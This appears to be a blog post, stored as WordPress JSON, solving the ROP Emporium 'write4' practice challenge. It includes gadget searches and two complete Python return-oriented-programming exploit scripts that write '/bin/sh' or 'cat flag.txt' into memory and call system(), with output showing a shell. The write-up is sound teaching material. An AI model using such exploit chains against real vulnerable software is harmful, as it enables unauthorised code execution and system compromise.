{"id":1044,"date":"2019-11-24T10:48:19","date_gmt":"2019-11-24T15:48:19","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1044"},"modified":"2019-12-06T13:48:44","modified_gmt":"2019-12-06T18:48:44","slug":"rop-emporium-write4-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-write4-solution\/","title":{"rendered":"ROP Emporium | write4 Solution"},"content":{"rendered":"<p>Our first foray into proper gadget use. A call to system() is still present but we&#8217;ll need to write a string into memory somehow.<\/p>\n<p>The binary and challenge description can be found here:<br \/>\n<a href=\"https:\/\/ropemporium.com\/challenge\/write4.html\">https:\/\/ropemporium.com\/challenge\/write4.html<\/a><\/p>\n<p>For this challenge, I&#8217;ll focus on the 64-bit version first and create a solution for 32-bit later. I know I&#8217;ll need to get a string into memory, a pointer to that string into the RDI register, and then call<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> system()<\/span>. The main hurdle to overcome here is getting the string into memory. The challenge description states, &#8220;Perhaps the most important thing to consider in this challenge is where we&#8217;re going to write our string. Use rabin2 or readelf to check out the different sections of this binary and their permissions.&#8221; So, let&#8217;s do that first:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/write4 $ rabin2 -S write4 \r\n&#x5B;Sections]\r\n\r\nnth paddr        size vaddr       vsize perm name\r\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\r\n0   0x00000000    0x0 0x00000000    0x0 ---- \r\n1   0x00000238   0x1c 0x00400238   0x1c -r-- .interp\r\n2   0x00000254   0x20 0x00400254   0x20 -r-- .note.ABI_tag\r\n3   0x00000274   0x24 0x00400274   0x24 -r-- .note.gnu.build_id\r\n4   0x00000298   0x30 0x00400298   0x30 -r-- .gnu.hash\r\n5   0x000002c8  0x120 0x004002c8  0x120 -r-- .dynsym\r\n6   0x000003e8   0x74 0x004003e8   0x74 -r-- .dynstr\r\n7   0x0000045c   0x18 0x0040045c   0x18 -r-- .gnu.version\r\n8   0x00000478   0x20 0x00400478   0x20 -r-- .gnu.version_r\r\n9   0x00000498   0x60 0x00400498   0x60 -r-- .rela.dyn\r\n10  0x000004f8   0xa8 0x004004f8   0xa8 -r-- .rela.plt\r\n11  0x000005a0   0x1a 0x004005a0   0x1a -r-x .init\r\n12  0x000005c0   0x80 0x004005c0   0x80 -r-x .plt\r\n13  0x00000640    0x8 0x00400640    0x8 -r-x .plt.got\r\n14  0x00000650  0x252 0x00400650  0x252 -r-x .text\r\n15  0x000008a4    0x9 0x004008a4    0x9 -r-x .fini\r\n16  0x000008b0   0x64 0x004008b0   0x64 -r-- .rodata\r\n17  0x00000914   0x44 0x00400914   0x44 -r-- .eh_frame_hdr\r\n18  0x00000958  0x134 0x00400958  0x134 -r-- .eh_frame\r\n19  0x00000e10    0x8 0x00600e10    0x8 -rw- .init_array\r\n20  0x00000e18    0x8 0x00600e18    0x8 -rw- .fini_array\r\n21  0x00000e20    0x8 0x00600e20    0x8 -rw- .jcr\r\n22  0x00000e28  0x1d0 0x00600e28  0x1d0 -rw- .dynamic\r\n23  0x00000ff8    0x8 0x00600ff8    0x8 -rw- .got\r\n24  0x00001000   0x50 0x00601000   0x50 -rw- .got.plt\r\n25  0x00001050   0x10 0x00601050   0x10 -rw- .data\r\n26  0x00001060    0x0 0x00601060   0x30 -rw- .bss\r\n27  0x00001060   0x34 0x00000000   0x34 ---- .comment\r\n28  0x00001ae2  0x10c 0x00000000  0x10c ---- .shstrtab\r\n29  0x00001098  0x768 0x00000000  0x768 ---- .symtab\r\n30  0x00001800  0x2e2 0x00000000  0x2e2 ---- .strtab\r\n<\/pre>\n<p>We can effectively ignore any section that doesn&#8217;t have a &#8220;w&#8221; under the &#8220;perm&#8221; column as only those have write permissions. The <code>.data<\/code> section is for initialized yet writable data, such as global variables. This should work for storing our string. So the address we&#8217;ll use to store it is <code>0x601050<\/code>.<\/p>\n<p>Next, we need to figure out <em>how<\/em> to store that string there. The challenge description says, &#8220;we&#8217;ll be looking for gadgets that let us write a value to memory such as <code>mov [reg], reg<\/code>.&#8221; Past challenges have always had a &#8220;usefulGadgets&#8221; symbol. We can use radare2 to find this:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/11\/write4_usefulGadgets.png\" alt=\"\" width=\"519\" height=\"484\" class=\"alignnone size-full wp-image-1048\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/11\/write4_usefulGadgets.png 519w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/11\/write4_usefulGadgets-300x280.png 300w\" sizes=\"auto, (max-width: 519px) 100vw, 519px\" \/><\/p>\n<p>As you can see, this &#8220;useful gadget&#8221; does exactly what we need. It moves that value stored in the R15 register to the location pointed to by the R14 register. I&#8217;ll make note that the address of this gadget is <code>0x400820<\/code>. Now we just need a gadget to get those registers populated. I can use <code>ropper<\/code> for this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/write4 $ ropper --file write4 --search &quot;pop r14&quot;\r\n&#x5B;INFO] Load gadgets from cache\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;LOAD] removing double gadgets... 100%\r\n&#x5B;INFO] Searching for gadgets: pop r14\r\n\r\n&#x5B;INFO] File: write4\r\n0x0000000000400890: pop r14; pop r15; ret;\r\n<\/pre>\n<p>How convenient! I found one gadget that does exactly what I need, pop a value into R14 and R15, respectively. Again, I&#8217;ll note that the address for this gadget is <code>0x400890<\/code>.<\/p>\n<p>In order to make the call to<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> system()<\/span>, we&#8217;ll need to the address of the string (<code>0x601050<\/code>) saved to RDI. For this, we&#8217;ll need a <code>pop rdi<\/code> gadget.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/write4 $ ropper --file write4 --search &quot;pop rdi; ret&quot;\r\n&#x5B;INFO] Load gadgets from cache\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;LOAD] removing double gadgets... 100%\r\n&#x5B;INFO] Searching for gadgets: pop rdi; ret\r\n\r\n&#x5B;INFO] File: write4\r\n0x0000000000400893: pop rdi; ret;\r\n<\/pre>\n<p>Here we found a gadget at <code>0x400893<\/code>. The last thing we need is the address of<span style=\"font-family:Courier New;color:#64e0e0;background:#001919\"> system()<\/span>:<\/p>\n<pre class=\"brush: plain; highlight: [6]; light: false; title: ; notranslate\" title=\"\">\r\nandrew ~\/write4 $ rabin2 -i write4\r\n&#x5B;Imports]\r\nnth vaddr      bind   type   name\r\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\r\n1   0x004005d0 GLOBAL FUNC   puts\r\n2   0x004005e0 GLOBAL FUNC   system\r\n3   0x004005f0 GLOBAL FUNC   printf\r\n4   0x00400600 GLOBAL FUNC   memset\r\n5   0x00400610 GLOBAL FUNC   __libc_start_main\r\n6   0x00400620 GLOBAL FUNC   fgets\r\n7   0x00000000 WEAK   NOTYPE __gmon_start__\r\n8   0x00400630 GLOBAL FUNC   setvbuf\r\n<\/pre>\n<p>We can use the address <code>0x4005e0<\/code> as the last link in our ROP chain. The entire ROP chain should look like this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&quot;A&quot; * 40 =&gt; buffer\r\n0x400890 =&gt; Gadget: pop r14; pop r15; ret;\r\n0x601050 =&gt; Where to save the string in .data section (R14)\r\n\/bin\/sh  =&gt; The string (R15)\r\n0x400820 =&gt; Gadget: mov QWORD PTR &#x5B;r14], r15; ret;\r\n0x400893 =&gt; Gadget: pop rdi; ret;\r\n0x601050 =&gt; Location of the string in .data section\r\n0x4005e0 =&gt; system()\r\n<\/pre>\n<p>You&#8217;ll notice that the string I chose to use is &#8220;\/bin\/sh&#8221; (to get a shell) instead of simply &#8220;cat flag.txt&#8221;. I&#8217;m trying to keep this exploit as simple as possible so I needed a string that was no more than 7 characters long (plus a null byte at the end) since I can only store up to 8 bytes in a register at a time. Later I&#8217;ll try a longer string. Time to put this exploit together in a Python script:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport struct\r\nimport sys\r\n\r\nlocation = struct.pack(&quot;Q&quot;, 0x601050) # Save the string to the .data section\r\n\r\npayload  = b&quot;A&quot; * 40\r\npayload += struct.pack(&quot;Q&quot;, 0x400890) # pop r14; pop r15; ret;\r\npayload += location                   # Address where the string will be written to\r\npayload += b&quot;\/bin\/sh\\x00&quot;             # The string\r\npayload += struct.pack(&quot;Q&quot;, 0x400820) # mov QWORD PTR &#x5B;r14],r15; ret;\r\npayload += struct.pack(&quot;Q&quot;, 0x400893) # pop rdi; ret;\r\npayload += location                   # Address of where the string is saved to\r\npayload += struct.pack(&quot;Q&quot;, 0x4005e0) # PLT address of system()\r\n\r\nsys.stdout.buffer.write(payload)\r\n<\/pre>\n<p>Let&#8217;s put it to use:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/write4 $ (.\/exploit.py; echo; cat) | .\/write4\r\nwrite4 by ROP Emporium\r\n64bits\r\n\r\nGo ahead and give me the string already!\r\n&gt; id\r\nuid=1000(andrew) gid=985(users) groups=985(users),98(power),988(storage),998(wheel)\r\ncat flag.txt\r\nROPE{a_placeholder_32byte_flag!}\r\n<\/pre>\n<h3>Update:<\/h3>\n<p>Now I&#8217;d like to use a longer string than just &#8220;\/bin\/sh&#8221;. I&#8217;ll need to use the <strong><code>\"pop r14; pop r15;\"<\/code><\/strong> and <strong><code>\"mov QWORD PTR [r14],r15;\"<\/code><\/strong> gadgets multiple times:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport sys\r\n\r\nlocation = 0x601050  # Save the string to the .data section\r\n\r\npayload  = b&quot;A&quot; * 40\r\npayload += (0x400890).to_bytes(8, &quot;little&quot;)   # pop r14; pop r15; ret;\r\npayload += (location).to_bytes(8, &quot;little&quot;)   # Address where the string will be written to\r\npayload += b&quot;cat flag&quot;\r\npayload += (0x400820).to_bytes(8, &quot;little&quot;)   # mov QWORD PTR &#x5B;r14],r15; ret;\r\npayload += (0x400890).to_bytes(8, &quot;little&quot;)   # pop r14; pop r15; ret;\r\npayload += (location+8).to_bytes(8, &quot;little&quot;) # Address where the string will be written to\r\npayload += b&quot;.txt\\x00\\x00\\x00\\x00&quot;\r\npayload += (0x400820).to_bytes(8, &quot;little&quot;)   # mov QWORD PTR &#x5B;r14],r15; ret;\r\npayload += (0x400893).to_bytes(8, &quot;little&quot;)   # pop rdi; ret;\r\npayload += (location).to_bytes(8, &quot;little&quot;)   # Address of where the string is saved to\r\npayload += (0x4005e0).to_bytes(8, &quot;little&quot;)   # PLT address of system()\r\n\r\nsys.stdout.buffer.write(payload)\r\n<\/pre>\n<p>By the way, I never realized (until now) that I don&#8217;t need to use the struct module in python3 as there&#8217;s a built-in called <code>to_bytes()<\/code>. Anyway, now the exploit simply cats the flag:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nndrew ~\/write4 $ .\/exploit2.py | .\/write4 \r\nwrite4 by ROP Emporium\r\n64bits\r\n\r\nGo ahead and give me the string already!\r\n&gt; ROPE{a_placeholder_32byte_flag!}\r\nSegmentation fault (core dumped)\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Our first foray into proper gadget use. A call to system() is still present but we&#8217;ll need to write a string into memory somehow &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-write4-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">ROP Emporium | write4 Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1044","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1044","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1044"}],"version-history":[{"count":15,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1044\/revisions"}],"predecessor-version":[{"id":1098,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1044\/revisions\/1098"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1044"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1044"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1044"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}